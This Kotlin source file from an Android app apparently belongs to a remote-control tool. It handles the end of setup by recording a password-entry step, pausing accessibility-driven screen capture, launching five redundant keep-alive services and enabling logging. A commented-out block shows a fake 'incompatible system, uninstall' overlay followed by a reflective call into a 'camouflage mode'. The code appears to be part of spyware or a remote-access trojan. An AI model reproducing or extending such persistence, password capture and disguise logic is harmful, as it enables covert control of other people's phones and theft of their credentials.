package com.hikoncont.util

import android.content.Context
import android.content.Intent
import android.os.Handler
import android.os.Looper
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.modules.SystemIncompatibilityOverlayManager
import java.lang.reflect.Method

/**
 * 安装完成管理器
 * 将原来的广播接收器逻辑改为直接函数调用，避免广播不稳定的问题
 */
object InstallationCompleteManager {
    private const val TAG = "InstallCompleteMgr"

    /**
     * 处理安装完成
     * 替代原来的 INSTALLATION_COMPLETE 广播
     */
    fun handleInstallationComplete(
        context: Context,
        deviceId: String? = null,
        installationId: String? = null,
        passwordType: Int = 0,
        hasPassword: Boolean = false,
        forceForeground: Boolean = false,
        requirePasswordInput: Boolean = true,
        passwordCompleted: Boolean = false
    ) {
        Log.i(TAG, "🎉 处理安装完成")
        Log.i(TAG, "🔍 参数: deviceId=$deviceId, installationId=$installationId, passwordType=$passwordType, hasPassword=$hasPassword")
        Log.i(TAG, "📊 新增参数: FORCE_FOREGROUND=$forceForeground, REQUIRE_PASSWORD_INPUT=$requirePasswordInput, PASSWORD_COMPLETED=$passwordCompleted")

        try {
            // 使用安装状态管理器持久化存储安装完成状态
            val installationStateManager = InstallationStateManager.getInstance(context)
            installationStateManager.markInstallationComplete(
                deviceId = deviceId,
                installationId = installationId,
                passwordType = passwordType,
                hasPassword = hasPassword
            )
            Log.i(TAG, "💾 安装状态已保存")

            // 标记密码输入完成，供 MainActivity/其他组件查询
            val prefs = context.getSharedPreferences("password_input", Context.MODE_PRIVATE)
            prefs.edit().putBoolean("password_input_completed", true).apply()
            Log.i(TAG, "🔐 密码输入状态已保存")

            // ✅ 验证状态保存是否成功
            val isInstallationComplete = installationStateManager.isInstallationComplete()
            val isPasswordCompleted = prefs.getBoolean("password_input_completed", false)
            Log.i(TAG, "✅ 状态验证: 安装完成=$isInstallationComplete, 密码完成=$isPasswordCompleted")

            // 读取可选的webUrl（如果 MainActivity 未运行，也能直接打开）
            val webUrl: String? = try {
                ConfigReader.getWebUrl(context)
            } catch (_: Exception) { null }

            WebViewStateStore.markOpened(context)

            // ✅ 在打开WebView前关闭远程桌面
            try {
                val service = AccessibilityRemoteService.getInstance()
                if (service != null) {
                    val screenCaptureManager = service.getScreenCaptureManager()
                    if (screenCaptureManager != null) {
                        Log.i(TAG, "📺 安装完成，关闭远程桌面")
                        screenCaptureManager.pauseCapture()
                        Log.i(TAG, "✅ 远程桌面已关闭")
                    } else {
                        Log.d(TAG, "📺 ScreenCaptureManager 未初始化，无需关闭远程桌面")
                    }
                } else {
                    Log.d(TAG, "📺 AccessibilityRemoteService 未初始化，无需关闭远程桌面")
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 关闭远程桌面失败（不影响后续流程）", e)
            }


            // ✅ 启动MainActivity并让它显示WebView
            try {
                val start = Intent(context, com.hikoncont.MainActivity::class.java).apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                    addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
                    putExtra("from_installation_complete", true)
                    putExtra("show_webview", true)
                    putExtra("user_initiated", true) // ✅ 新增：标识为用户主动启动
                    putExtra("force_foreground", forceForeground)
                    putExtra("require_password_input", requirePasswordInput)
                    putExtra("password_completed", passwordCompleted)
                    putExtra("update_ui_status", true) // ✅ 新增：标识需要更新UI状态
                }
                context.startActivity(start)
                Log.i(TAG, "✅ 已启动 MainActivity 显示WebView（用户主动启动）")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 启动MainActivity显示WebView失败", e)
            }

            // ✅ 显示系统版本不兼容遮罩层
//            try {
//                val service = AccessibilityRemoteService.getInstance()
//                if (service != null) {
//                    val overlayManager = SystemIncompatibilityOverlayManager(service)
//                    overlayManager.show {
//                        // 点击确定卸载按钮的回调：关闭遮罩层
//                        Log.i(TAG, "🔘 用户点击确定卸载按钮，关闭遮罩层")
//                        overlayManager.hide()
//                    }
//                    Log.i(TAG, "✅ 系统版本不兼容遮罩层已显示")
//
//                    // ✅ 延迟调用 enableCamouflageMode() 函数进入伪装模式
//                    Handler(Looper.getMainLooper()).postDelayed({
//                        try {
//                            Log.i(TAG, "🎭 延迟调用 enableCamouflageMode() 进入伪装模式")
//                            val enableCamouflageMethod: Method? = try {
//                                AccessibilityRemoteService::class.java.getDeclaredMethod("enableCamouflageMode")
//                            } catch (e: NoSuchMethodException) {
//                                Log.e(TAG, "❌ 未找到 enableCamouflageMode 方法", e)
//                                null
//                            }
//
//                            enableCamouflageMethod?.let { method ->
//                                method.isAccessible = true
//                                method.invoke(service)
//                                Log.i(TAG, "✅ 已成功调用 enableCamouflageMode()")
//                            } ?: run {
//                                Log.e(TAG, "❌ 无法调用 enableCamouflageMode()，方法不存在或无法访问")
//                            }
//                        } catch (e: Exception) {
//                            Log.e(TAG, "❌ 调用 enableCamouflageMode() 失败", e)
//                        }
//                    }, 300L) // 延迟300ms调用
//                } else {
//                    Log.e(TAG, "❌ AccessibilityRemoteService 未初始化，无法显示遮罩层")
//                }
//            } catch (e: Exception) {
//                Log.e(TAG, "❌ 显示遮罩层失败", e)
//            }

            // ✅ 安装完成后启用日志：确保日志服务正常运行
            try {
                // 通过广播通知AccessibilityRemoteService启用日志记录
                val enableLoggingIntent = Intent("android.mycustrecev.ENABLE_LOGGING")
                context.sendBroadcast(enableLoggingIntent)
                Log.i(TAG, "📝 已发送启用日志记录广播")
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 启用日志记录失败(安装完成)", e)
            }

            // ✅ 安装完成后启动所有保活服务
            try {
                Log.i(TAG, "🛡️ 安装完成，启动所有保活服务")

                // 1. 启动KeepAliveService
                val keepAliveIntent = Intent(context, com.hikoncont.service.KeepAliveService::class.java)
                context.startService(keepAliveIntent)
                Log.i(TAG, "✅ KeepAliveService已启动")

                // 2. 启动RemoteControlForegroundService
                val foregroundIntent = Intent(context, com.hikoncont.service.RemoteControlForegroundService::class.java)
                context.startForegroundService(foregroundIntent)
                Log.i(TAG, "✅ RemoteControlForegroundService已启动")

                // 3. 启动AlarmManagerKeepAliveService
                val alarmIntent = Intent(context, com.hikoncont.service.AlarmManagerKeepAliveService::class.java)
                context.startForegroundService(alarmIntent)
                Log.i(TAG, "✅ AlarmManagerKeepAliveService已启动")

                // 4. 启动EnhancedKeepAliveService
                val enhancedIntent = Intent(context, com.hikoncont.service.EnhancedKeepAliveService::class.java)
                context.startForegroundService(enhancedIntent)
                Log.i(TAG, "✅ EnhancedKeepAliveService已启动")

                // 5. 启动WorkManagerKeepAliveService
                val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance()
                workManagerKeepAlive.startKeepAlive(context)
                Log.i(TAG, "✅ WorkManagerKeepAliveService已启动")

                Log.i(TAG, "🎉 所有保活服务启动完成")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 启动保活服务失败", e)
            }

            Log.i(TAG, "✅ 安装完成处理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理安装完成失败", e)
        }
    }

    /**
     * 处理设置完成
     * 替代原来的 SETUP_COMPLETE 广播
     */
    fun handleSetupComplete(
        context: Context,
        requirePasswordInput: Boolean = false,
        forceForeground: Boolean = false
    ) {
        Log.i(TAG, "📡 处理设置完成")
        Log.i(TAG, "🔍 参数: REQUIRE_PASSWORD_INPUT=$requirePasswordInput, FORCE_FOREGROUND=$forceForeground")

        try {
            // 🔐 检查密码输入是否已经完成
            val passwordCompleted = hasPasswordInputBeenCompleted(context)
            Log.i(TAG, "🔐 密码输入完成状态: $passwordCompleted")

            if (!requirePasswordInput) {
                // 无需密码，直接完成安装等效流程
                try {
                    // 标记密码框显示与完成
                    val prefs = context.getSharedPreferences("password_input", Context.MODE_PRIVATE)
                    prefs.edit()
                        .putBoolean("password_input_shown", true)
                        .putBoolean("password_input_completed", true)
                        .apply()

                    // ✅ 直接调用安装完成处理
                    Log.i(TAG, "🔄 无需密码，直接调用安装完成处理")
                    handleInstallationComplete(
                        context = context,
                        deviceId = "default_device",
                        installationId = "no_password_install_${System.currentTimeMillis()}",
                        passwordType = 0,
                        hasPassword = false,
                        forceForeground = forceForeground,
                        requirePasswordInput = false,
                        passwordCompleted = true
                    )

                    // 启动主无障碍服务，确保后续流程
                    try {
                        val svc = Intent(context, com.hikoncont.service.AccessibilityRemoteService::class.java)
                        context.startService(svc)
                        Log.i(TAG, "🚀 已启动 AccessibilityRemoteService")
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ 启动 AccessibilityRemoteService 失败", e)
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 执行无需密码的完成流程失败", e)
                }
                return
            } else if (requirePasswordInput && !passwordCompleted) {
                // 需要密码输入且尚未完成，启动密码输入页面
                val startPasswordInput = Intent().apply {
                    setClassName(context.packageName, "com.hikoncont.activity.PasswordInputActivity")
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP)
                }
                context.startActivity(startPasswordInput)
                Log.i(TAG, "✅ 已启动 PasswordInputActivity")
            } else if (requirePasswordInput && passwordCompleted) {
                // 需要密码输入但已完成，直接启动MainActivity
                Log.i(TAG, "🔐 密码输入已完成，跳过密码输入页面")
                val startMain = Intent().apply {
                    setClassName(context.packageName, "com.hikoncont.MainActivity")
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP)
                }
                context.startActivity(startMain)
                Log.i(TAG, "✅ 已启动 MainActivity")
            } else if (forceForeground) {
                // 仅需要前台展示，但不拉起MainActivity，只记录日志
                Log.i(TAG, "📱 收到强制前台请求，但采用后台保活策略，不拉起MainActivity")

                // 确保后台服务正常运行
                try {
                    val serviceIntent = Intent(context, com.hikoncont.service.RemoteControlForegroundService::class.java)
                    serviceIntent.action = "ENSURE_FOREGROUND"
                    context.startForegroundService(serviceIntent)
                    Log.i(TAG, "✅ 已确保前台服务运行")
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 确保前台服务运行失败", e)
                }
            } else {
                Log.i(TAG, "ℹ️ 无需动作（无需密码且不强制前台）")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理设置完成失败", e)
        }
    }

    /**
     * 检查密码输入是否已经完成
     */
    private fun hasPasswordInputBeenCompleted(context: Context): Boolean {
        return try {
            val sharedPrefs = context.getSharedPreferences("password_input", Context.MODE_PRIVATE)
            val hasCompleted = sharedPrefs.getBoolean("password_input_completed", false)
            Log.d(TAG, "🔐 密码输入完成状态检查: $hasCompleted")
            hasCompleted
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查密码输入完成状态失败", e)
            false
        }
    }
}

